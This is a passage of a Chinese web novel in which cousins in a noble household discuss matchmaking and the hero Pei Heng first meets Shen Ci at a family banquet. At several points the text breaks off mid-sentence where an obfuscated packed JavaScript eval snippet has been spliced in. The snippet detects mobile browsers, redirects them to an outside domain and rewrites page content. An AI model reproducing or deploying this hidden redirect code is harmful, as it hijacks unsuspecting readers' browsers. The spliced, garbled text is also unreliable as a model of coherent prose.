“姑母邀请我们一块儿过府参加忠毅伯府的宴席。”裴氏看完之后同女儿提了一句,至于别的也并未明说,许多事是她们长辈的想法,孩子们如何尚不可知。 越少人知道越好。 “那我也要去。”裴姝听见母亲的话,即刻就表明自己的想法。 这倒是让裴夫人有些疑惑,裴姝的性子安静,根本不是喜欢参加宴会的人,素来都是想去就去,不想去就不去。 十张帖子有九张是被拒绝的。 裴夫人也有娘家,娘家兄弟也有不少子女,都是兄弟姐妹,也从未见裴姝这么喜欢去外祖家。 她心有疑惑,便直接问了出来,亲生母女之间没有什么不能问的,也省的膈应着。 “映梦姐姐和思怡都很好,还有,沈姐姐也很好。”裴姝不喜欢吵闹,也不喜欢出门。 表姐她们见着她的时候,从不会要求她去做些什么。 大家也多是坐在一处说说话。 裴姝和她们相处时,很是愉悦,故而裴姝很喜欢去姑姑家,也喜欢和表姐她们一块儿玩。 “这沈姐姐,怎么好了?”裴夫人的记忆不差,这会儿听女儿说起,倒是想起从前的一件事,当初裴珩也提过沈家的这个小姑娘。 “说不太上来,但和她相处起来会很舒服。”裴姝认真的思索了一番,最终得出的结论便是如此,裴夫人倒是没有多问,只是心中想着若是能有机会,也见一见这沈家的小姑娘。 当天夜里,裴珩来正院给母亲请安时,便被留下说话,裴姝早早的歇了,此时唯有母子二人。 母子俩闲话家常,裴夫人问起朝中的差事来,“陛下可有安排什么差事?” “礼部尚未拟定官职。”裴珩淡声回答,虽心中对于前程已有大致的猜测,可凡事没有绝对,不到尘埃落定的那一刻,谁都不知事情会如何,故而面对母亲他也不敢托大。 “吾儿心中明白即可。”裴夫人对裴珩的前程并不操心,他很小就知晓自己想要什么。 裴夫人又说了几句关心的话,裴珩一一的应对着。 裴珩捧着茶,心中着实有些疑惑,他能够感觉到母亲是有话要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712284|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他说的,只是母亲没有明说。 他也无从猜测。 其实这样的对话很稀疏平常,每隔几日母亲都会提及,他也已经习惯,只是如今为何沉默? 裴珩想了想还是主动的问了出来,“母亲可是有话要同我说?” 裴夫人倒是没隐瞒,只说起忠毅伯府的请柬。 裴珩还以为是什么大事。 “母亲应邀便是。” 这话的意思就是答应,裴夫人心中是明白的,只是话说到这里裴夫人便不得不提及小姑子的意思。 “吾儿如今有了功名,这婚事总该提上日程…”裴夫人斟酌了语气,说起了楚映梦,“若是能够亲上加亲,岂不是更好?” 裴夫人没有明说是楚映梦。 可亲上加亲这几个字一出,裴珩还有什么是不明白的,各家亲戚里头算来算去适龄的人选,也唯有一个。 裴珩无奈的揉了揉耳朵,“娘,那是表妹。” “娘知道,正因为是表妹才能够亲上加亲。”裴夫人坚持己见,同裴珩说了许多,但裴珩只觉得难以理解。 又同母亲认真的说了一会。 “那是妹妹,同裴姝一样的妹妹。” 裴夫人就细细的开始说起楚映梦的好来,裴珩自然也知晓表妹很好,可再好那也是妹妹,他耐着性子同母亲把话说清楚。 “虽算不上和表妹朝夕相处,倒也是一同长大,在我的记忆中一直将她当做妹妹看待。” “彼此之间太过于熟悉。” “母亲还是莫要乱点鸳鸯谱,映梦也一直将我当哥哥,不必弄的她尴尬。”裴珩淡淡的开口,语气依旧平淡,可态度已经分明。 裴夫人瞧得明白,就是拒绝之意。 裴珩和两个表弟之间的关系都很好,映梦和思怡在裴珩的心中一直都是妹妹,如今母亲竟要他和妹妹议亲,这如何能够接受? 裴夫人也没想过裴珩竟会反对成这样,这议亲一事便暂时搁浅,但忠毅伯府的宴席还是要去的。 他并未想要逃避。 至于母亲和姑母这念头,倒也不必特意的拒绝,于表妹名声有碍。 他起身告辞,回到住处洗漱,想起母亲今日所言,心中也甚是无奈。 表妹便是表妹,如何能当妻子? 17.第17章 永宁侯府的回帖送到忠毅伯府后,裴氏就开始准备宴席。 以往忠毅伯府有什么需要准备的祭祀和宴席,裴氏都是带着楚映梦一块,可如今她觉得沈瓷已经及笄,楚思怡也大了,该是时候也学着这些事。 沈瓷自然珍惜这个机会,认真的跟着裴氏学习,但楚思怡的玩心很重,根本就没想着要好好的学,甚至还觉得烦恼。 只是因为表姐和姐姐都很认真,她也只能被迫认真起来。 这一回宴请的是舅舅一家,楚思怡看着从仓库拿出来的陶瓷器皿有些疑惑,“舅母和表哥他们也不是头一回来府上,怎么这一回要这么隆重?” “许是因为表哥当了状元?所以才要隆重些?”楚映梦也是一脸的迷茫。 “可是这当了状元也还是表哥呀?”楚思怡想不明白,她们家里不还有两个举人老爷?日子不也一样的过。 “还有裴姝呢,她极少愿意参加宴会,娘亲大概是想办的隆重些,让裴姝知道宴会也是很好玩的。” “也是。” 姐妹俩你一言我一语,就这么将自己给说服了。 沈瓷倒是什么都没有想,只是专心的看着手中的器皿,记着它们摆放的位置。 时间过得很快,一晃眼就到了永宁侯府赴宴的那一日。 沈瓷一大早去了裴氏的院子给舅母请安,三年来日日如此,裴氏早已经习惯,看见外甥女过来,就招呼她到自己的身边,将人细细的看了一番。 “今日怎么还早些过来了?外头还很凉,怎么不带个手炉?” “如今快要四月,哪里还要拿手炉呢。” “我想着府上今日有客,想来舅母会很忙碌,所以早些来了。”沈瓷轻声回答,问舅母可有用过早膳,要不要喝茶。 “晚一些再泡茶,一会儿等永宁候夫人来了,再辛苦阿瓷。” 沈瓷自然是应下的。 裴氏看着沈瓷心中也有了别的思量,“阿瓷在平江的时候,可有听说过哪家少年郎踏实能干的?” 裴氏的问话有些突然,沈瓷听到这里时也有些懵,她没想过舅母会问起这些,但也是认认真真的思索了起来。 半晌,沈瓷直白的摇了摇头。 她那时候才多大,成日里就想着玩,母亲带她去宴会,也有一群人哄着她,陪她一块儿玩。 聊得也多是一些姑娘喜欢的东西,至于其他的,沈瓷一概都不清楚,“母亲没有提及过,从前一处玩的手帕交,也没有提起这些。” 沈瓷其实也觉得有些疑惑,平江也不算是个小地方,但她似乎从未听到过这些。 哪里像在金陵。 那日状元游街,沈瓷差点儿都要听不清表姐说话的声音,铺天盖地都是姑娘们的声音。 沈瓷哪里知晓那是因为在平江,她是节度使之女,地位超然。 平江的女眷们早早被家里大人耳提命面,让她们哄着沈瓷,当然沈瓷喜欢什么,旁人就会顺着说。 沈瓷喜欢首饰,她们的话题当然也多是首饰。 “原是如此。”裴氏点了点头,而后又旁敲侧击问了几句,心中有了大概的数。 不多时张嬷嬷过来回话,沈瓷不便打扰,同舅母告辞后便回了翠虹阁。 沈瓷走后,裴氏看着她的背影出神,张嬷嬷便问起主子在看什么。 “阿瓷也大了,是时候要给她找个婆家。” “沈姑娘蕙质兰心,夫人不用发愁。”张嬷嬷轻声的安慰道。 裴氏知晓张嬷嬷这些话是什么意思,“我自然不愁阿瓷会和人相处不好,只是这夫家人选,着实有一些难觅。” “夫人可有看中的人家?” 裴氏缓缓的摇头,“很是难选。” 沈毅夫妻俩早已经不在,沈瓷如今算得上是一介孤女,沈瓷的后盾唯有忠毅伯府,可在外人的眼中他们到底不是阿瓷的生生父母,总是会搁着一层。 高门大户不会娶她当正妻。 小门小户就要考量对方的人品,高不成,低不就。 随随便便选一户人家,裴氏自己都舍不得,何况家中的老夫人。 “阿瓷什么都没有,这夫家的人选,要仔细的斟酌。”裴氏略略的有些头疼,毕竟这些事情可比给自家两个孩子选夫家要难得多。 “好在沈姑娘年龄尚小,晚个几年也无妨,夫人正好可以慢慢的选。” “你说的是。”裴氏缓缓的点头,就将整个儿话题揭过了。 永宁侯府的马车是上午到的,只不过来的只有裴夫人和裴姝,姑嫂两人见了面,自然又是一番寒暄。 “裴珩去了礼部,说是等散了之后就过来。”裴夫人笑着开口解释,裴珩原本也是要和她们一块儿来的,只是临了出门时被一道圣旨给喊走了。 “珩儿如今考取了功名,日后只怕会更加忙碌。”裴氏说起这个侄儿时也是一脸的与有荣焉。 两人就着裴珩好好的夸赞了一番。 裴姝跟着两人一道进了门,就走到楚思怡的身边,拉着她的手说话,“沈姐姐在哪里?” “表姐这会儿应该还在自己的屋子里。”楚思怡想了想之后开口道,“她和我姐姐在一起。” 裴姝一听这话就说要去找她。 “你还是别乱跑了,姑姑这会儿也在,若是找不着你,恐怕要派人去寻。”楚思怡说的都是实话,谁让自己的母亲也是如此,“表姐一会儿就会过来。” “沈姐姐上次送我的荷包特别的好看,我很喜欢,我想亲自谢谢她。” “表姐做的荷包当然好看。”楚思怡对裴姝夸赞沈瓷很是受用,也不知道在骄傲什么。 裴夫人这一回过来,是和小姑子商议事情的,二人原本是想着要亲上加亲,谁知裴珩并没有那个意思。 “珩儿说,他只拿映梦当妹妹,在他心中映梦和裴姝没有什么区别。” 结亲原本就是想要修两姓之好,自然不会故意结仇,裴氏虽然有这样的心思,倒也不至于强迫了孩子去。 “嫂嫂,不瞒你说,我也正是要和你说这件事。”裴氏提及这事也是有些难以启齿,她同楚映梦提及此事,谁知楚映梦吓得差点儿被水给呛到。 裴氏到现在还记得楚映梦那一脸活见鬼的反应,好似她这个亲娘要推她入火坑。 姑嫂两人彼此说了话之后,才知两个孩子之间原是一点儿想法都没有,不过是她们做长辈的有这样的想法。 “这可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726804|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是…” “映梦说有个当状元的表哥,她走出去不知有多风光。” “裴姝也是这么说的。” 两个母亲说起孩子的时候总是有说不完的话,裴姝和楚思怡已经坐在一处开始说话。 此番宴席办的很隆重,可是宴请的人也唯有她们几人,姑嫂二人一合计,想着就当家宴来办,因着裴珩还未过来,楚恒也尚未下朝,女眷们全部都聚集在裴氏的屋中说话。 这也是裴夫人头一回见着沈瓷,初见时裴夫人只觉得这姑娘长得好看,容色过人,除了太过漂亮些,其余的倒也看不出什么。 只是后来,见沈瓷陪着两个妹妹一处说话,才知为何裴姝总是心心念念的想见她。 沈瓷说话温温柔柔的,听人说话时总是安静,等着对方说完才会开口,裴姝说话慢,她也从不打断,无论裴姝说什么,她都听着。 并且会给予回应,说的话真诚又认真。 裴夫人并不知道她们再说什么,可看着她们的模样也知道裴姝是开心的,她很少见到裴姝这么情绪外露的时候。 裴夫人看了一会儿就收回了视线。 裴氏看见嫂嫂的目光,便托嫂嫂帮着他一道物色人选,“阿瓷身世坎坷,这夫家的人选一直都是我们家老太太和二爷心中的一根刺,若嫂嫂见着合适的人选,还望帮着留意一番。” “倒是个耐心的姑娘。” “知书达理,温柔恭顺,每日都会来我院中请安。”裴氏说起沈瓷,那是有数不完的优点,裴夫人仔仔细细的听着,对沈瓷的印象又好了一些。 毕竟她这个小姑子一般可很少夸人,这是当真将外甥女放在了心坎上。 另一边,裴姝说起沈瓷前些日子给自己的荷包,她说她很喜欢。 “今日知道你要来,还有别的东西要给你。” “是什么?”裴姝有些好奇的问道,但这话刚说出口脸就红了起来,下意识摸了摸自己的脸,怎么就说起这些话来了?这不是再问沈姐姐要东西了吗? “是个香囊。”沈瓷笑着开口,话才说完,楚思怡便撺掇着要去看看。 于是几人就同长辈们告辞,要去翠虹阁走一趟。 绣篮里的香囊个个精致,楚思怡和裴姝各自选了一个,两人当即就挂在了裙子上互相显摆起来。 楚映梦不太想和两个幼稚鬼一起说话,但也是在偷偷的比较是不是自己的更好看。 笑闹间,几人一起从翠虹阁离开,恰巧撞上了从外头回来的楚修筠和楚景澄,还有姗姗来迟的裴珩。 双方都觉得有些意外。 只是大家都熟悉,倒也不至于尴尬。 众人互相问候,沈瓷认出了人,却不知道要不要上前去打招呼,总觉得有一些尴尬,可若不开口,也很没有礼貌。 思及此,沈瓷还是决定要打招呼,她定了定神,走到三人跟前一一的行礼,“大表哥,二表哥。” “裴世子。” 这三个称呼一出,所有人都看了过来,尤其是被区别对待的裴珩。 他挑了挑眉,一时间有些闹不明白这姑娘究竟是不是故意的。 大家都是兄弟姐妹的,怎么到了他这儿,就成了这般? 18.第18章 众人齐聚在长廊上,原本还热热闹闹的气氛,因为沈瓷的一句“裴世子”陷入了沉默当中。 沈瓷自然也感觉到了,她的神情渐渐的变得有些尴尬,全然不负先前的坚定。 她和裴珩并不认识,也没有什么关系,思来想去这是最合适的称呼,可众人的反应却很奇怪,惹得沈瓷不知所措。 倒是裴珩最先反应过来,淡淡回礼,“沈姑娘。” 他方才,是有些自以为是了。 实则这称呼并没有什么问题,只是有些生分,也不怪裴珩会想当然,因为他们之中也有这样的例子,楚修筠是楚景澄伯父的孩子,是楚景澄的堂哥,而裴珩是楚景澄的表哥,和楚修筠没有实际的关系。 若真的要算起来,楚修筠也应当喊“裴世子”。 可话又说回来,楚景澄和楚修筠形影不离,他们自幼也算得上是一块儿长大,自然不会计较许多。 但他和这位沈姑娘,显然不是这样的情况,他们不过是彼此知道彼此的身份而已。 并不熟悉。 她并不想和自己套近乎…裴珩想明白这一点之后,反而有些好奇起来。 打完招呼之后,二人都沉默下来,谁也不知道这个时候该说什么才合适。 眼看气氛越来越尴尬,楚映梦瞬间就反应过来,不动声色的上前一步,挡在了沈瓷的面前笑着打圆场,“表哥,大哥二哥,你们从哪里来啊?” “我们才从外头回来,和表哥是在门外碰上的。”楚修筠立刻接话,兄妹俩你一言我一语的说话,试图将这尴尬的事情给揭过去。 “你们刚才去做什么了?” “表姐给我们做了香囊,我们过去拿香囊。”楚思怡听到这里立刻抢答道。 生怕被姐姐先说了出来,毕竟自己能说的上话的话题,那是少之又少,这会儿别提有多高兴,叽叽喳喳的说个不停,楚映梦想要阻止都来不及。 兄妹俩对视一眼无奈的别开眼去,实在是不忍直视。 但二人怎么都没想到,这样的活宝还不止一个,楚景澄过来凑了热闹,“香囊?有我们的没有?” 这话沈瓷当真不知道怎么回答,好在活宝二表哥也不需要她回答,自顾自的开口,“应当是有的吧,上回的荷包都有,裴姝也有,总不能落下我们。” 楚修筠&楚映梦:“……” 有些话,倒也不是非说不可的。 毕竟永宁侯府送来忠毅伯府的节礼每回都是三份,裴姝还告诉过她们,表哥有特意的提过。 可这香囊荷包的,却没有表哥的份… 眼看气氛越来越尴尬,楚映梦便找起借口,想着快点儿离开这里,“我们方才是从母亲哪儿溜出来的,我们就先走了。” 裴珩清晰的看见了他们的神情,也知晓他们究竟在想什么,实则这事儿一点问题都没有,他和这沈姑娘并不认识,今日才头一回见面,见了面打个招呼已是不错,她和表姐表妹关系好,送荷包香囊都不为过。 裴姝时常来忠毅伯府,一见如故也说的过去。 和他非亲非故,实在犯不着为他准备礼物。 明明这般浅显易懂的道理,他们怎么就是这般神情? 难不成觉得他会计较? 裴珩便去看了沈瓷,午后的阳光透过树叶的间隙洒了下来,斑驳的光影落在了沈瓷肩上,她大半个身子站在绚烂阳光里,脸上那迷茫的表情清晰可见。 她像是想不明白,漂亮的眼眸里有一些疑惑,甚至还有一些怀疑,偏偏自己不曾察觉。 他看着她浅浅的皱眉,时而又舒展开。 模样灵动又有趣,裴珩知道再这样下去,她大概就要被这些个不靠谱的表哥和表姐给带偏了去。 裴珩就这么听了全程,似笑非笑的看着众人。 他从前不是那么过分的人,但今日却偏偏不想如几人的愿,一点儿也不配合,“我们恰好也要去拜见姑姑,一道去。” 沈瓷:“……” 众人:“……” 这会儿若是拒绝,岂不是显得他们很刻意? 大家都是兄弟姐妹,他们又有什么好害怕的? “那,那就一块儿去。”楚映梦都不知道自己在尴尬什么。 裴姝看了看哥哥,又看了看周围,果断的决定不要说话,一行人就这么僵硬的走在路上,楚映梦几人走在前头,楚修筠几人走在后头。 先前的欢声笑语早已经看不见,唯余沉默。 最从容不迫的,反而是沈瓷和裴珩。 裴珩有着故意的嫌疑,而沈瓷从头到尾都觉得这些事没有什么问题,无论是她的称呼,还是她的态度,亦或是裴珩要和她们同行的举措。 等到好不容易到正院,楚修筠等人都松了一口气。 裴氏和裴夫人两个全然没想到他们几个竟会一起过来,不由的多问了几句,才得知是在外头碰上的。 之后的话题都是围绕着裴珩展开的,裴夫人得知裴珩进了翰林院,十分的高兴。 几个小辈都是一脸的欣喜,纷纷过来恭喜裴珩,沈瓷随波逐流,只是她对裴珩的称呼依旧是“裴世子”,一个挑不出错来,但喊出来却显得很生分的称呼。 裴珩倒是已经安然的接受。 沈瓷并未想要套近乎,他也不想多个“表妹”,在场也没有人开口让沈瓷改了称呼,只是任由她这么喊着。 听多了估摸着也会习惯。 裴珩发现她眼中的迷茫已经不见,取而代之的是坚定,她不认为生分的称呼有什么不对。 裴珩倒是欣赏她的坦然。 众人坐在一处说话,沈瓷就在一旁听着,有一些可以听得明白,有一些听不懂。 可她从来都是安安静静的,从不会发表什么意见。 楚修筠和楚景澄恭喜哥哥入选翰林,当表哥的却记挂着他们俩的科举成绩,“科举结束之后,我问礼部的官员要了你们俩的策论,发现了不少的问题,将策论默写出来,半个月后重新再交一篇。” 楚修筠:“……” 楚景澄:“……” 科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思及此,沈瓷轻轻的点头,“有的。” 沈瓷并不是个蠢笨的姑娘,只是从前不爱学习,来到伯爵府之后跟着表姐表妹一块儿念书,她渐渐的得了趣味,只是夫子并不要求她们当什么才女,只需要认识几个字就好。 许多知识只能自己弄明白。 今日遇见裴珩,有此机会。 对沈瓷而言也算是幸运,故而她很珍惜。 裴珩半点也没有吝啬,在他看来不过是照拂一个聪明好学的小姑娘。 直至伯爵府的宴席开场,他听见旁人喊她阿瓷。 裴珩头一回有了些奇怪心思,开始思索起到底是哪个字。 阿慈?阿辞? 还是… 那时候的裴珩并不知自己为何有那样奇怪的心思,因为没有人告诉他,那恍惚的念头,是心动的开始。 19.第19章 忠毅伯府开宴的时候,楚恒也已经归来,因为是家宴倒也没有太多的讲究,只是因为人多了些,还是分坐了两桌,中间架起了屏风。 永宁候夫人和裴姝同沈瓷她们坐在一处。 楚思怡做什么都喜欢缠着沈瓷,裴姝也喜欢温温柔柔的沈姐姐,非要和她一块儿坐,于是两人一左一右的坐在沈瓷的边上。 楚映梦坐在裴姝的身边。 期间,永宁候夫人说起了长宁郡主府的帖子,问小姑子有没有收到。 “帖子是收到了,只是尚未想好要不要去,嫂嫂可决定了?” “我本是想带着姝儿去的,但丫头非说要来问问姐姐们去不去。”永宁候夫人看着自己的女儿也十分犯愁,但女儿性子如此,她也不能太过强求,好在家中情况尚可,除非孩子要婚配皇亲国戚,若不然也真不需要裴姝去讨好什么人。 “裴姝你不想去?去宴会可好玩了,我们一起去。”楚思怡是最喜欢凑热闹的,但凡哪里有好玩的,她就想去。 但裴姝却开口问身边的楚映梦,沈瓷去不去。 “阿瓷不太爱去这些宴会。” “那,沈姐姐不去的话,我也不想去。”裴姝说的很是认真,半点没觉得这话有什么问题。 一时间众人又都看向沈瓷,沈瓷正盯着自己面前的碗,听到这些话又不能不做出回应,“…郡主应当不曾邀请我。” 她的身份很尴尬,所以从不会主动的要求什么,许多人家的宴席都不会邀请她的,何况是长宁郡主府? 但裴氏却告诉她,长宁郡主邀请的事忠毅伯府的女眷,她自然是算的。 最终沈瓷答应下来,而裴姝也高兴的同母亲说要一起去。 惹得永宁候夫人万分无奈,她又忍不住的看向沈瓷。 面前的姑娘并没有什么特别的反应,不见兴奋也不见怯懦,依旧安安静静的,姐妹们同她说话时才会搭话,其余的时候并不显眼。 晚宴过后永宁候夫人去了小姑子的院中同她说话,而裴姝则跟着姐妹们去了翠虹阁。 裴氏看着嫂嫂那欲言又止的模样,有些好奇道:“嫂嫂可是有什么话要说?” “平素在府上,映梦和思怡,同沈姑娘的关系也是这般?”永宁候夫人这些话从晚宴开始就一直搁在心里头这会儿才有机会问出来。 裴氏点了点头,“映梦和思怡都很喜欢阿瓷,两人时常要去翠虹阁同阿瓷一块儿睡,她们的关系极好。” 但永宁候夫人分明想说的不是这个。 “我只是担心…” “嫂嫂不用担心,阿瓷是个有分寸的孩子,聪明伶俐,清楚的知道自己想要什么,她便是有所求,也是坦坦荡荡并未隐瞒我,想要为自己的未来做打算,这并不是什么坏事。”裴氏从一开始就看着沈瓷,看了这许多年,对沈瓷自然也是了解。 何况,沈瓷所求并不多。 “至于映梦和思怡喜欢同她待在一处,大抵是因为阿瓷会耐心十足的哄着她们。”裴氏看着沈瓷,心中略过一丝怅然。 都是千娇百宠长大的女孩儿,自然是谁也不愿让谁的。 所以即便是亲姐妹也会起争执,可沈瓷从不会和表姐表妹闹矛盾,素来都是两边哄着,若非耐心十足根本就办不到。 这本就不是一件容易的事。 何况无论是去哪里,沈瓷从来都是隐匿在二人身后,从不会多说一句话。 “嫂嫂若是不信,这一回瞧了便知。”裴氏说起沈瓷时,眼中多了一份柔软,她是当真的心疼。 谁还不是被人捧在手心里长大的姑娘? 晚些时候,永宁候夫人便带着一双儿女告辞,裴姝在马车上时一直和母亲提及沈瓷,还有沈瓷送给她的那个香囊。 永宁候夫人也看过那个香囊,精致漂亮,一看就是用心做的,笑着夸赞了一句, “沈姑娘的手倒是很巧。” “映梦姐姐说,沈姐姐她在学针法,所以用这些小玩意来练手。”裴姝摸了摸香囊,用手碰了碰,“但沈姐姐做的这些东西,当真是可爱。” 裴珩今日听许多人提及这个名字,他听见旁人喊她名字,却不知她的名字究竟是哪一个字。 他从前没有问过,如今也不好问。 何况,裴珩并不知道问一个姑娘家的名字是哪个字,要如何的启齿。 他甚至都不清楚自己为何想知道。 一路上裴珩都非常的安静,母子三人回到永宁侯府后,裴珩送母亲回去正院,辞别母亲后才回到院中。 但他并未直接睡下,反而是去到书房翻开了一本书,想要看一看书,谁知这翻开的文章,恰好引用了逍遥游。 裴珩今日本就心绪不宁,没有多少能看的进去,如今更是美什么心思看书。 索性将书本合上,开始写起文章来。 一盏茶之后,他将所有不合时宜冒出来的念头全部都隐藏了起来,至于是阿慈还是阿辞,似乎都没有什么关系。 * 那日过后,裴珩正式步入朝堂,进了翰林院。 他本就是侯府世子,身份比之旁人本就不同,又因为文采出众,早早的入了皇帝的眼,人人都知他前途不可限量。 永宁候夫人更是成为京中人人相邀的对象,究竟何意不言而喻。 只是裴珩对此永远都神色淡淡,告诉母亲婚姻大事皆有父母做主,却不知为何在说这话的时候,想到了一双灵动的眼眸。 裴珩只觉得有些奇怪。 他想,大抵是因为平时听得太多了些。 楚修筠和楚景澄总会提到沈瓷,足足三年,一朝见面会印象深刻也不足为奇。 如今因为他们见了面,兄弟二人甚至都不会刻意的喊着表妹,而是称呼她的名字。 即便裴珩根本不知她名字究竟是哪个字。 他想到这里,神情有些不太舒坦,淡淡道:“母亲做主就好。” 永宁候夫人全然不知裴珩究竟是怎么了,为何忽然恹恹的。 裴珩也不知自己究竟如何,但他知晓,楚修筠和楚景澄在他面前提及沈瓷的时候,他留心了许多。 休沐之日,兄弟三人在酒楼碰面,裴珩要问二人功课,二人不仅有榜样效仿,更有母亲鞭策,学业上用心非常,在这样的努力下,二人写下的文章进步许多,裴珩也满意不少。 功课过关之后,兄弟俩便开始谈论起别的来。 “四月十一是阿瓷的生辰,她今年已经及笄,映梦和我商量着要办的热闹一些。” “那是不是要给阿瓷买生辰礼物?”楚景澄的脑子能想到的唯有生辰礼物,“上一回送了簪子,先前送过首饰,这一次要送什么?” “映梦是和我商议要怎么办生辰,又不是问要给什么生辰礼。” “这也没什么区别,迟早是要给的。”楚景澄倒不是舍不得送礼物,只是单纯的不知要送些什么在发愁。 实则,楚修筠也愁。 姑娘家喜欢的东西无非就是那些,胭脂水粉同脂粉钗环。 兄弟俩唉声叹气的。 倒是裴珩破天荒的说了话,“沈姑娘不像是喜欢兴师动众的人,你们若是办的太隆重,于她而言反而不知所措。” 沈瓷如今处境尴尬,在伯爵府生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756461|156294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽是舅舅家中不会缺她一口吃的,养育她不过是多一双筷子的事,但到底寄人篱下。 那日在府上裴珩就看明白了。 她一直都很安静,也许是性子如此,也许是刻意为之。 “表哥?” 楚修筠和楚景澄一同出声,二人都没想到是裴珩在说话,他们睁大了眼睛,还是楚修筠先反应过来,迅速接话,“表哥的意思是?” “或许你们可以问一问沈姑娘的意思。” 裴珩想起那日初见的模样,语气淡淡道,“或许,她更希望平平淡淡。” 楚修筠和楚景澄这一回听进去了,说要回府和妹妹们商量一番。 楚景澄继而感慨,说沈瓷这些年变了许多,“小的时候姑姑带着她回金陵住过一段时间,那时候府里闹腾的不行,她们三个成日里在一起疯玩,阿瓷还和我打架。” “那时候还小。”楚修筠轻声道。 他们都以为沈瓷是因为长大了才会如此,但裴珩却觉得是遭遇了变故。 沈毅没有别的孩子,对这唯一的孩子自然是宠爱有加的,任谁遭遇这样的变故估摸着都会性情大变。 但凡是也不绝对。 也许正如表弟们所言。 裴珩忍不住的想入非非,等到他自己反应过来的时候,才发现他自己在想些什么。 对此,裴珩有一些烦躁。 他不知自己为何会想到这些,理不清那些思绪,便开始给自己找起借口来,定然是因为听得太多的缘故。 “可生辰礼总不能少的。” 二人还是坚持,于是兄弟俩又约着要去给沈瓷买生辰礼,楚景澄又鬼使神差的问了一句表哥要不要一同前往。 原本都已经做好被拒绝的准备,谁知裴珩这一回竟然应下了。 楚景澄瞪大眼睛看过去。 裴珩的神色淡淡不辨喜怒,仿佛和平时没有什么区别,楚景澄那诧异的神色才收了回去。 裴珩面上虽是镇定,可事实如此唯有他自己清楚。 好在楚景澄最擅长自己说服自己,他全然不知裴珩心思,还以为表哥转了性子,开始变得有人情味起来。 二人及笄宴送了簪子,这一回决定去胭脂铺,但裴珩不知为何,总觉得沈瓷会喜欢书籍,他想,大概是那日谈及逍遥游时,那亮晶晶的眼神分外惑人。 于是,裴珩淡定自如的进了书院,楚修筠和楚景澄本以为他是要给自己买书。 谁知裴珩选了几本游记,按照裴珩原本的做法,他应当是会选一摞书籍,但他今日却鬼使神差的选了三本。 不多不少,却是他心中的数。 这是要给沈瓷的,只是不愿太过特殊,他又让掌柜拿出一模一样的书包了起来,分成了四份。 将其中三份递给楚修筠,状若不经意的交代了几句,“给映梦思怡的,还有一份给沈姑娘。” 至于自己手中的那份,则是裴姝的。 故而几人全部被迫收到了裴珩送的书。 裴珩并未特意说起这是生辰礼,楚修筠兄弟俩也没有多想,回到府上之后就将书送了出去,姐妹三人有些疑惑,不明白表哥为什么会送些游记过来。 “阿瓷,你觉得呢?” “大概是…裴世子喜欢当夫子?”沈瓷有些不靠谱的猜测着,除此之外她实在是想不到别的。 “啊?”楚映梦有些诧异的看过去,不太敢苟同,但她回忆起先前表哥的种种行为,也忍不住的往这方面去想。 越想越觉得阿瓷说的很对,思绪被彻底的带偏。 难不成,当状元还委屈表哥了吗? 20.第20章 花朝节过了之后,裴氏收到了不少世家的请柬,有一些帖子不好拒绝要出席,还有一些她直接拒绝了。 这必须出席的宴会,便是长宁郡主举办的宴会。 只不过,比起去参加宴会,楚映梦和楚思怡都一致觉得还没有给沈瓷过生辰来的有趣。 她们原本是想和哥哥们商议好好的办,毕竟沈瓷今年及笄,不能和从前一样,原本是计划着给沈瓷一个惊喜,但楚修筠听了表哥的提议,便和妹妹商议问一问沈瓷的意见。 也幸好是问了,才没好心办坏事。 沈瓷根本就不希望生辰大办,面对兄弟姐妹的好意,笑着拒绝道,“往年怎么过,如今就怎么过,从前那样就挺好的。” 舅母也曾想过给她举办生辰宴,但却被沈瓷拒绝了,心中只觉得不合适。 及笄宴就在不久前,才不过两个月就又要办什么生辰宴,即便舅舅和舅母不嫌麻烦,沈瓷也觉得过意不去。 她不想兴师动众,何况她原本就不怎么喜欢办生辰宴。 “比起和许多不认识的人一起过生辰,我宁愿和你们一块儿吃长寿面。”沈瓷的心愿很简单。众人见她说的认真,也没有非要勉强的意思。 便约定好等她生辰的那一日,请裴姝过来,就一块儿热热闹闹的吃一顿家常便饭。 “表姐可以写请柬过去,裴姝收到之后一定会高兴的。”楚思怡兴奋的说道。 